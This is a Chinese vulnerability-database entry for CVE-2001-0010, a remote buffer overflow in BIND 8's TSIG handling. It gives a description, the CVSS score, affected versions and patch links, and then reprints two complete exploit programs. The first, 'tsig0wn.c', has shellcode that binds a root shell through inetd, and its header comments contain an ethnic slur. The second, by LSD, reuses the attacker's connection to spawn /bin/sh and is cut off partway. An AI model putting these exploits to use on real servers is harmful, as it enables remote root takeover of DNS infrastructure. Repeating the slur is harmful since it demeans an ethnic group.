CVE-2001-0010
CVSS10.0
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-10 15:07:01
NMCOE    

[原文]Buffer overflow in transaction signature (TSIG) handling code in BIND 8 allows remote attackers to gain root privileges.


[CNNVD]ISC Bind 8 TSIG远程缓冲区溢出漏洞(CNNVD-200102-011)

        
        BIND是一个实现域名服务协议的服务器软件。它在Internet上被广为使用。
        它在TSIG(传输签名)的实现上存在一个缓冲区溢出漏洞,可能允许远程攻击者在BIND服务器上执行任意代码。由于溢出发生在DNS请求的初始化过程中,因此并不需要攻击者控制任何地权威DNS服务器,而且此问题影响所有递归和非递归的DNS服务器。
        当收到一个DNS请求时,根据传输协议的不同,DNS请求的数据可能被存放到heap区或者是堆栈中。如果收到的是UDP报文,函数datagram_read()负责将其读入堆栈中的一个513字节大小的缓冲区(u.buf);如果收到的是TCP报文,函数stream_getlen()负责将其读入位于heap区的一个64k大小的缓冲区(sp->s_buf).BIND使用两个关键的变量来跟踪这些缓冲区的使用情况:一个包含缓冲区中的实际长度,名为"msglen";另一个变量用来跟踪缓冲区的剩余长度,名为"buflen"。当BIND收到一个DNS信息后,msglen被初始化成从网络中接收到的数据长度。buflen被初始化成用来读取这个消息的缓冲区的大小。(对于UDP报文为512字节,对TCP报文为64k)。正常情况下,当BIND处理一个请求时,它会将回复记录附加到请求中。然后它会编辑DNS头,使其反映出这种变化,并发送此响应报文。在此过程中,BIND假设msglen加上buflen的大小等于缓冲区的原长度。从BIND 8.2开始,在BIND处理一个DNS请求之前,它会检查DNS信息的附加区域,检查是否有TSIG资源记录。函数ns_find_tsig()被用来进行这个检查。如果一个有效的TSIG标记被找到,但相应的安全字(security key)却没有找到,BIND将会报错,并绕过了正常的请求处理过程。结果,msglen和buflen都仍然保持它们的初始值。BIND将此请求看作时一个错误请求,它使用原来的请求缓冲区,在问题域中增加一段TSIG信息。这时候,BIND假设请求缓冲区的大小仍然是msglen+buflen.正常情况下,这是正确的,然而,在这种特殊情况下,msglen+buflen几乎是实际缓冲区大小的两倍!这样,当BIND使用ns_sign()函数添加TSIG信息时,它们将被填充在缓冲区之外。由于有效的安全字没有被发现,ns_sign()将只会增加很少的一些字节,而且字节的内容也是有限的。因此这可能导致两种类型的攻击。对于UDP请求,请求缓冲区在堆栈中,攻击者可以使用一些固定的值来覆盖datagram_read()函数保存在堆栈中的激活记录。在x86平台下,用0覆盖保留栈帧指针的最小字节,可能导致该指针指向原来的DNS请求缓冲区。这种单字节溢出可能导致执行任意代码。对于TCP请求,请求缓冲区在heap区中。攻击者可以使用一些固定的值来覆盖malloc()动态分配时的一些边界字节,这样下一个边界信息就可以从攻击者控制的缓冲区中读取,这可能导致一个恶意的指针覆盖,攻击者也可能执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:isc:bind:8.2.2:p4ISC BIND 8.2.2 p4
cpe:/a:isc:bind:8.2.2:p3ISC BIND 8.2.2 p3
cpe:/a:isc:bind:8.2.2:p7ISC BIND 8.2.2 p7
cpe:/a:isc:bind:8.2ISC BIND 8.2
cpe:/a:isc:bind:8.2.2:p1ISC BIND 8.2.2 p1
cpe:/a:isc:bind:8.2.2:p6ISC BIND 8.2.2 p6
cpe:/a:isc:bind:8.2.2:p2ISC BIND 8.2.2 p2
cpe:/a:isc:bind:8.2.1ISC BIND 8.2.1
cpe:/a:isc:bind:8.2.2ISC BIND 8.2.2
cpe:/a:isc:bind:8.2.2:p5ISC BIND 8.2.2 p5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0010
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-011
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-2001-02.html
(VENDOR_ADVISORY)  CERT  CA-2001-02
http://www.securityfocus.com/bid/2302
(VENDOR_ADVISORY)  BID  2302
http://www.redhat.com/support/errata/RHSA-2001-007.html
(UNKNOWN)  REDHAT  RHSA-2001:007
http://www.nai.com/research/covert/advisories/047.asp
(UNKNOWN)  NAI  20010129 Vulnerabilities in BIND 4 and 8
http://www.debian.org/security/2001/dsa-026
(UNKNOWN)  DEBIAN  DSA-026

- 漏洞信息

ISC Bind 8 TSIG远程缓冲区溢出漏洞
危急 未知
2001-02-12 00:00:00 2005-05-02 00:00:00
远程  
        
        BIND是一个实现域名服务协议的服务器软件。它在Internet上被广为使用。
        它在TSIG(传输签名)的实现上存在一个缓冲区溢出漏洞,可能允许远程攻击者在BIND服务器上执行任意代码。由于溢出发生在DNS请求的初始化过程中,因此并不需要攻击者控制任何地权威DNS服务器,而且此问题影响所有递归和非递归的DNS服务器。
        当收到一个DNS请求时,根据传输协议的不同,DNS请求的数据可能被存放到heap区或者是堆栈中。如果收到的是UDP报文,函数datagram_read()负责将其读入堆栈中的一个513字节大小的缓冲区(u.buf);如果收到的是TCP报文,函数stream_getlen()负责将其读入位于heap区的一个64k大小的缓冲区(sp->s_buf).BIND使用两个关键的变量来跟踪这些缓冲区的使用情况:一个包含缓冲区中的实际长度,名为"msglen";另一个变量用来跟踪缓冲区的剩余长度,名为"buflen"。当BIND收到一个DNS信息后,msglen被初始化成从网络中接收到的数据长度。buflen被初始化成用来读取这个消息的缓冲区的大小。(对于UDP报文为512字节,对TCP报文为64k)。正常情况下,当BIND处理一个请求时,它会将回复记录附加到请求中。然后它会编辑DNS头,使其反映出这种变化,并发送此响应报文。在此过程中,BIND假设msglen加上buflen的大小等于缓冲区的原长度。从BIND 8.2开始,在BIND处理一个DNS请求之前,它会检查DNS信息的附加区域,检查是否有TSIG资源记录。函数ns_find_tsig()被用来进行这个检查。如果一个有效的TSIG标记被找到,但相应的安全字(security key)却没有找到,BIND将会报错,并绕过了正常的请求处理过程。结果,msglen和buflen都仍然保持它们的初始值。BIND将此请求看作时一个错误请求,它使用原来的请求缓冲区,在问题域中增加一段TSIG信息。这时候,BIND假设请求缓冲区的大小仍然是msglen+buflen.正常情况下,这是正确的,然而,在这种特殊情况下,msglen+buflen几乎是实际缓冲区大小的两倍!这样,当BIND使用ns_sign()函数添加TSIG信息时,它们将被填充在缓冲区之外。由于有效的安全字没有被发现,ns_sign()将只会增加很少的一些字节,而且字节的内容也是有限的。因此这可能导致两种类型的攻击。对于UDP请求,请求缓冲区在堆栈中,攻击者可以使用一些固定的值来覆盖datagram_read()函数保存在堆栈中的激活记录。在x86平台下,用0覆盖保留栈帧指针的最小字节,可能导致该指针指向原来的DNS请求缓冲区。这种单字节溢出可能导致执行任意代码。对于TCP请求,请求缓冲区在heap区中。攻击者可以使用一些固定的值来覆盖malloc()动态分配时的一些边界字节,这样下一个边界信息就可以从攻击者控制的缓冲区中读取,这可能导致一个恶意的指针覆盖,攻击者也可能执行任意代码。
        

- 公告与补丁

        厂商补丁:
        Caldera
        -------
        Caldera已经为此发布了一个安全公告(CSSA-2001-008.1)以及相应补丁:
        CSSA-2001-008.1:BIND buffer overflow
        链接:
        http://www.caldera.com/support/security/advisories/CSSA-2001-008.1.txt

        补丁下载:
        Caldera RPM OpenLinux 2.3 bind-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/RPMS/bind-8.2.3-1.i386.rpm
        Caldera RPM OpenLinux 2.3 bind-doc-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/RPMS/bind-doc-8.2.3-1.i386.rpm
        Caldera RPM OpenLinux 2.3 bind-utils-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/RPMS/bind-utils-8.2.3-1.i386.rpm
        Caldera RPM eServer 2.3.1/eBuilder for ECential 3.0 bind-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/RPMS/bind-8.2.3-1.i386.rpm
        Caldera RPM eServer 2.3.1/eBuilder for ECential 3.0 bind-doc-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/RPMS/bind-doc-8.2.3-1.i386.rpm
        Caldera RPM eServer 2.3.1/eBuilder for ECential 3.0 bind-utils-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/RPMS/bind-utils-8.2.3-1.i386.rpm
        Caldera RPM eDesktop 2.4 bind-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/RPMS/bind-8.2.3-1.i386.rpm
        Caldera RPM eDesktop 2.4 bind-doc-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/RPMS/bind-doc-8.2.3-1.i386.rpm
        Caldera RPM eDesktop 2.4 bind-utils-8.2.3-1.i386.rpm
        ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/RPMS/bind-utils-8.2.3-1.i386.rpm
        Caldera Hotfix OpenServer <= 5.0.6a newbind.tar.Z
        ftp://ftp.sco.com/pub/security/openserver/sr379322/newbind.tar.Z
        Conectiva
        ---------
        Conectiva已经为此发布了一个安全公告(CLA-2001:377)以及相应补丁:
        CLA-2001:377:Buffer overflow in bind allows a remote exploit
        链接:
        http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000377

        补丁下载:
        tp://atualizacoes.conectiva.com.br/4.0/SRPMS/bind-8.2.3-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/bind-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/bind-devel-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/bind-devel-static-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/bind-doc-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0/i386/bind-utils-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/bind-8.2.3-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/bind-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/bind-devel-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/bind-devel-static-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/bind-doc-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.0es/i386/bind-utils-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/bind-8.2.3-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/bind-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/bind-devel-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/bind-devel-static-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/bind-doc-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.1/i386/bind-utils-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/bind-8.2.3-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/bind-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/bind-devel-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/bind-devel-static-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/bind-doc-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/4.2/i386/bind-utils-8.2.3-1cl.i386.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/bind-8.2.3-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/bind-chroot-8.2.3-1cl.src.rpm
        ftp://atualizacoes.conectiva.com.br/5.0/i386/bind-8.2.3-1cl.i386.rpm
        

- 漏洞信息 (277)

BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (EDBID:277)
linux remote
2001-03-01 Verified
53 Gneisenau
N/A [点击下载]
/*
 * tsig0wn.c
 * Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau
 * gneisenau@berlin.com
 * The author is not and will not be held responsible for the action of 
 * other people using this code.
 * provided for informational purposes only
 * since a greetz section is de rigeur
 * greets to my luv scharnie, sheib, darkx, famzah, brainstorm, ghQst, robbot, ......
 * a special fuck to all pakis including those idiots from GForce, etc....
 * but then pakistan is one big village comprising exclusively of prize idiots
 * tabstop set at 3
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include	<netdb.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

/*
 * This shellcode sux. cant ever get around to coding another one.
 */
char shellcode[] = {
0xeb,0x3b,0x5e,0x31,0xc0,0x31,0xdb,0xb0,0xa0,0x89,
0x34,0x06,0x8d,0x4e,0x07,0x88,0x19,0x41,0xb0,0xa4,						
0x89,0x0c,0x06,0x8d,0x4e,0x0a,0x88,0x19,0x41,0xb0,
0xa8,0x89,0x0c,0x06,0x31,0xd2,0xb0,0xac,0x89,0x14,
0x06,0x89,0xf3,0x89,0xf1,0xb0,0xa0,0x01,0xc1,0xb0,
0x0b,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xcd,
0x80,0xe8,0xc0,0xff,0xff,0xff,0x2f,0x62,0x69,0x6e,
0x2f,0x73,0x68,0xff,0x2d,0x63,0xff,		
0x2f,0x62,0x69,0x6e,0x2f,0x65,0x63,0x68,0x6f,0x20,0x27,0x69,
0x6e,0x67,0x72,0x65,0x73,0x6c,0x6f,0x63,0x6b,0x20,0x73,0x74,
0x72,0x65,0x61,0x6d,0x20,0x74,0x63,0x70,0x20,0x6e,0x6f,0x77,
0x61,0x69,0x74,0x20,0x72,0x6f,0x6f,0x74,0x20,0x2f,0x62,0x69,
0x6e,0x2f,0x62,0x61,0x73,0x68,0x20,0x62,0x61,0x73,0x68,0x20,
0x20,0x2d,0x69,0x27,0x3e,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,
0x6e,0x65,0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x3b,0x20,0x2f,
0x75,0x73,0x72,0x2f,0x73,0x62,0x69,0x6e,0x2f,0x69,0x6e,0x65,
0x74,0x64,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x2e,0x69,0x6e,0x65,
0x74,0x64,0x2e,0x63,0x6f,0x6e,0x66,0x00,
};

#define NS_T_TSIG 250
#define SHELLCODE_OFFSET 13
#define DUMMY_ARG_OFFSET 176
#define ENUM_FILE 1				//eventlib_p.h line 141


struct {
	char 				*system_name;
	unsigned int	buffer_start;			/* the address where out buffer starts in memory */
	unsigned int	frame_pointer;			/* content of the frame pointer */
	int				garbage_len;			/* length of the garbage in which we will embed ebp|eip */
} system[] =	{
						{ "Test value 1", 0xbffff640, 0xbffff868, 326, },
						{ "Test value 2", 0xbffff5f0, 0xbffff700, 326, },
						{ "Slackware 7.0", 0xbffff590, 0xbffff7e8, 326, },
						{ NULL, 0x0, 0x0, },
					};

void usage (void);
void encode_dns_name (char *, int, int);

int
main (int argc, char *argv[])
{
	char 						query[PACKETSZ];	// construct our query packet here
	char						*query_ptr;		// pointer to walk the query buffer
	HEADER					*hdr_ptr;		// pointer to the header part of the query buffer

	int						arg;
	unsigned int			buffer_start, 
								frame_pointer, // value the frame pointer will have
								shellcode_addr; // address our shellcode will have in the named buffer calculated from buffer_start
	int						index;

	char						*target_name;
	struct hostent			*target_host;	
	struct sockaddr_in	target;		
	int						sockfd;

	if (argc < 2)
		usage ();

	while ((arg = getopt (argc, argv, "b:f:s:")) != -1) {
		switch (arg){
			case 'b':	sscanf (optarg, "%x", &buffer_start);
							break;
			case 'f':	sscanf (optarg, "%x", &frame_pointer);
							break;
			case 's':	index = atoi (optarg) - 1; 
							buffer_start = system[index].buffer_start;
							frame_pointer = system[index].frame_pointer;
							break;
			default :	usage ();
		}
	}
	if (!(target_name = argv[optind])){
		fprintf (stderr, "tsig0wn: abysmal m0r0n error\n");
		exit (1);
	}

/*
 * Form a header. 
 */
 	memset (query, 0, PACKETSZ);
 	// cud blow up on other architectures not as liberal as x86. an union like in the bind sources is the correct way to go.
	hdr_ptr = (HEADER *)query;
	hdr_ptr->id = htons (0x1234);			
	hdr_ptr->qr = 0;					
	hdr_ptr->opcode = 0;					
	hdr_ptr->qdcount = htons (2);			
	hdr_ptr->arcount = htons (1);	


/*
 * Form a query after the header where we put in the shellcode
 */
	query_ptr = (char *) (hdr_ptr + 1);
	memcpy (query_ptr, shellcode, strlen (shellcode)+1);
	query_ptr += strlen (shellcode) + 1;
	PUTSHORT (T_A, query_ptr);
	PUTSHORT (C_IN, query_ptr);

/*
 * we form another header here that contains garbage with embedded stuff
 * i cud have put this in the same header as the shellcode and have the
 * shellcode nullify. (shrug)
 */
	{
		char *tmp;
		unsigned long dummy_argument = buffer_start+DUMMY_ARG_OFFSET;

		frame_pointer &= 0xffffff00; // zero out the LSB like the overflow in ns_sign will do

		// this will make layout a domain name for the second query, within which
		// we will embed our ebp | eip
		encode_dns_name (query_ptr, system[index].garbage_len, (frame_pointer - buffer_start) - (query_ptr - query));
		query_ptr += system[index].garbage_len;

		shellcode_addr = buffer_start + SHELLCODE_OFFSET;
		printf ("buffer starts at address = 0x%x\n", buffer_start);
		printf ("saved frame pointer after overwrite = 0x%x\n", frame_pointer);
		printf ("shellcode will reside at address = 0x%x\n", shellcode_addr);
		printf ("dummy argument will reside at address = 0x%x\n", dummy_argument);
		// put in the type member of evEvent_p. File is what we need
		tmp = query + DUMMY_ARG_OFFSET;
		tmp[0] = ENUM_FILE;
		tmp[1] = ENUM_FILE >> 8;
		tmp[2] = ENUM_FILE >> 16;
		tmp[3] = ENUM_FILE >> 24;

		// embed the addresses. These will be interpreted as ebp and eip. 
		// we put the address where our shellcode will be situated twice.
		// we overflow the saved frame pointer of datagram_read(). when the
		// function returns to __evDispatch() it calls __evDrop().
		// because we have shifted the frame pointer and thus __evDispatch()
		// notion of the stack we also provide two pointers as arguments to
		// __evDispatch. These pointers point to the start of this query header
		// name, within which __evDrop will look for evEvent_p->type. we set
		// type to be of type 'file' above which causes it to break and execute 
		// FREE() which in turn calls free().
		tmp = query + (frame_pointer - buffer_start);	// advance the ptr to the place where we put in our ebp|eip
		tmp[0] = shellcode_addr;
		tmp[1] = shellcode_addr >> 8;
		tmp[2] = shellcode_addr >> 16;
		tmp[3] = shellcode_addr >> 24;
		tmp[4] = shellcode_addr;
		tmp[5] = shellcode_addr >> 8;
		tmp[6] = shellcode_addr >> 16;
		tmp[7] = shellcode_addr >> 24;

		tmp[8] = dummy_argument;
		tmp[9] = dummy_argument >> 8;
		tmp[10] = dummy_argument >> 16;
		tmp[11] = dummy_argument >> 24;
		tmp[12] = dummy_argument;
		tmp[13] = dummy_argument >> 8;
		tmp[14] = dummy_argument >> 16;
		tmp[15] = dummy_argument >> 24;
	}
	PUTSHORT (T_A, query_ptr);
	PUTSHORT (C_IN, query_ptr);
/*
 * Additional section containing T_SIG stuff
 */
 	// a name with only one char
	memcpy (query_ptr, "\x01m\x00", 3); 
	query_ptr+=3;
	PUTSHORT (NS_T_TSIG, query_ptr);
	PUTSHORT (C_IN, query_ptr);
// these members wont be checked at all as find_key returns NULL on testing secretkey_info. 
//	PUTLONG (0, query_ptr);			
//	PUTSHORT (0, query_ptr);				

/*
 * Connect and deliver the payload
 */
	if (!(target_host = gethostbyname (target_name))){
		fprintf (stderr, "host name resolution error for %s: %s\n", target_name, hstrerror (h_errno));
		exit (1);
	}
	if ((sockfd = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0){
		perror ("socket");
		exit (1);
	}
	memset (&target, 0, sizeof (target));
	target.sin_family = AF_INET;
	target.sin_port = htons (53);
	target.sin_addr.s_addr = ((struct in_addr *)target_host->h_addr_list[0])->s_addr;

	if (connect (sockfd, &target, sizeof (target)) < 0){
		perror ("connect");
		exit (1);
	}
	if (send (sockfd, query, query_ptr - query, 0) < 0){
		perror ("send");
		exit (1);
	}
	exit (0);
}


void 
usage (void)
{
	int i;
	fprintf (stderr, "                             tsig0wn\n");
	fprintf (stderr, "Copyright Field Marshal August Wilhelm Anton Count Neithardt von Gneisenau\n");
	fprintf (stderr, "\nAvailable System Types\n");
	for (i = 0; system[i].system_name; i++)
		fprintf (stderr, "%d. %s\n", i+1, system[i].system_name);
	fprintf (stderr, "\nUsage:\n");
	fprintf (stderr, "tsig0wn [ -s system type ] target\nor\n");
	fprintf (stderr, "tsig0wn [ -b buffer start address ] [ -f frame pointer content ] target\n");
	exit (1);
}

/*
 * a pretty convoluted function.
 * len is the number of octects to fill in (including the length octect)
 * embed_pos is the position where we need to embed this |len|ebp|eip|. 
 *	Hopefully when we overwrite the saved ebp on the stack
 * we expect it to point here and take the eip (which in turn points to our
 * shellcode) from here. The challenge here is to lay out the octets so 
 * that it doesnt clash with embed_pos.
 */

void
encode_dns_name (char *buf, int len, int embed_pos)
{
	int	ctr = 0;
	int	adjusted = 0;
	embed_pos -= 2;		// our ebp | eip needs the length octet before it, so adjust for it now + 1 
	len--;					// for the NULL octet at the end.

	// sanity check
	if (embed_pos >= len){
		fprintf (stderr, "encode_dns_name: embed_pos >= len\n");
		exit (1);
	}
	while (ctr < len)
		// max 63 octets allowed + preceding 1 octet for length
		if (ctr+64 <= len){ 	// enough space for another 63+1
			if (ctr+64 <= embed_pos || adjusted){	// embed_pos not in between
				*buf++ = 63;
				memset (buf, 'g', 63); buf += 63;
				ctr+=64; 
			}
			else {				// need to adjust cuz embed_pos in between
				*buf++ = embed_pos-ctr-1;
				memset (buf, 'o', embed_pos-ctr-1); buf += embed_pos-ctr-1; 
				ctr+= embed_pos-ctr; 
				adjusted++;
			}
		}
		else {
			if (len - ctr <= embed_pos || adjusted){ // only remaining len - ctr
				*buf++ = len-ctr-1;
				memset (buf, 'g', len-ctr-1);
				ctr += 63; // we are quitting anyway after this. no need to update ctrs
			}
			else{
				*buf++ = embed_pos-len-ctr-1;
				memset (buf, 'o', embed_pos-len-ctr-1); buf += embed_pos-len-ctr-1; 
				ctr += embed_pos-len-ctr; 
				adjusted++;
			}
		}
	*buf=0x00; 	// finish with a 0 
}


// milw0rm.com [2001-03-01]
		

- 漏洞信息 (279)

BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (2) (EDBID:279)
linux remote
2001-03-01 Verified
53 LSD-PLaNET
N/A [点击下载]
/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland        *://lsd-pl.net/ #*/
/*## bind 8.2 8.2.1 8.2.2 8.2.2-PX                  Slackware 4.0/RedHat 6.2 #*/

/* The code establishes a TCP connection with port 53 of a target system.     */
/* It makes use of the "infoleak" bug (through UDP) to obtain the base        */
/* value of the named process frame stack pointer, which is later used        */
/* for constructing proper DNS tsig exploit packet.                           */
/*                                                                            */
/* Upon successful exploitation the assembly routine gets executed. It        */
/* walks the descriptor table of the exploited named process in a search      */
/* for the socket descriptor of the previously established TCP connection.    */
/* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh     */
/* is spawned.                                                                */
/*                                                                            */
/* The use of such an assembly routine allows successfull exploitation of     */
/* the vulnerability in the case when vulnerable dns servers are protected    */
/* by tightly configured firewall systems (with only 53 tcp/udp port open).   */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg[]={
    0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
    0x01,0x20,0x20,0x20,0x20,0x02,0x61
};

char asmcode[]=
    "\x3f"                 /* label len 63                   */
    "\x90\x90\x90"         /* padding                        */

    "\xeb\x3b"             /* jmp     <asmcode+65>           */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x5f"                 /* popl    %edi                   */
    "\x83\xef\x7c"         /* sub     $0x7c,%edi             */
    "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
    "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
    "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
    "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
    "\xb3\x10"             /* movb    $0x10,%bl              */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\xff"             /* movb    $0xff,%cl              */
    "\x89\x0f"             /* movl    %ecx,(%edi)            */
    "\x51"                 /* pushl   %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x66"             /* movb    $0x66,%al              */
    "\xb3\x07"             /* movb    $0x7,%bl               */
    "\x89\xf9"             /* movl    %edi,%ecx              */
    "\xcd\x80"             /* int     $0x80                  */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x39\xd8"             /* cmpl    %ebx,%eax              */
    "\x75\x0a"             /* jne     <asmcode+62>           */
    "\x66\xbb\x12\x34"     /* movw    $0x1234,%bx            */
    "\x66\x39\x5e\x02"     /* cmpw    %bx,0x2(%esi)          */
    "\x74\x08"             /* je      <asmcode+70>           */
    "\xe2\xe0"             /* loop    <asmcode+32>           */

    "\x3f"                 /* label len 63                   */

    "\xe8\xc0\xff\xff\xff" /* call    <asmcode+6>            */
    "\x89\xcb"             /* movl    %ecx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\x03"             /* movb    $0x03,%cl              */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x3f"             /* movb    $0x3f,%al              */
    "\x49"                 /* decl    %ecx                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x41"                 /* incl    %ecx                   */
    "\xe2\xf6"             /* loop    <asmcode+76>           */
    "\xeb\x14"             /* jmp     <asmcode+108>          */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x5b"                 /* popl    %ebx                   */
    "\x8d\x4b\x14"         /* leal    0x14(%ebx),%ecx        */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x89\x43\x18"         /* movl    %eax,0x18(%ebx)        */
    "\x88\x43\x07"         /* movb    %al,0x7(%ebx)          */
    "\x31\xd2"             /* xorl    %edx,%edx              */
    "\xb0\x0b"             /* movb    $0xb,%al               */
    "\xcd\x80"             /* int     $0x80                  */
    "\xe8\xe7\xff\xff\xff" /* call    <asmcode+88>           */
    "/bin/sh"

    "\x90\x90\x90\x90"     /* padding                        */
    "\x90\x90\x90\x90"
;

int rev(int a){
    int i=1;
    if((*(char*)&i)) return(a);
    return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

int main(int argc,char **argv){
    char buffer[1024],*b;
    int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net/\n");
    printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for slackware 4.0/redhat 6.2 x86\n\n");

    if(argc<2){
        printf("usage: %s address [-s][-e]\n",argv[0]);
        printf("    -s  send infoleak packet\n");
        printf("    -e  send exploit packet\n");
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"se"))!=-1){
        switch(c){
        case 's': flag=1;break;
        case 'e': flag=2;
        }
    }
    if(flag==-1) exit(-1);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(53);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
        if((hp=gethostbyname(argv[1]))==NULL) {
            errno=EADDRNOTAVAIL;goto err;
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck[0]=socket(AF_INET,SOCK_DGRAM,0);
    sck[1]=socket(AF_INET,SOCK_STREAM,0);

    if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
    if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

    i=sizeof(struct sockaddr_in);
    if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
        struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
        struct netbuf nb;
        ioctl(sck[1],(('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);;
        nb.buf=(char*)&adr;
        ioctl(sck[1],(('T'<<8)|144),&nb);
    }
    n=ntohs(adr.sin_port);

    asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
    asmcode[4+48+3]=(unsigned char)(n&0xff);

    if(write(sck[0],msg,sizeof(msg))==-1) goto err;
    if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
   
    printf("stack dump:\n");
    for(i=0;i<(cnt-512);i++){
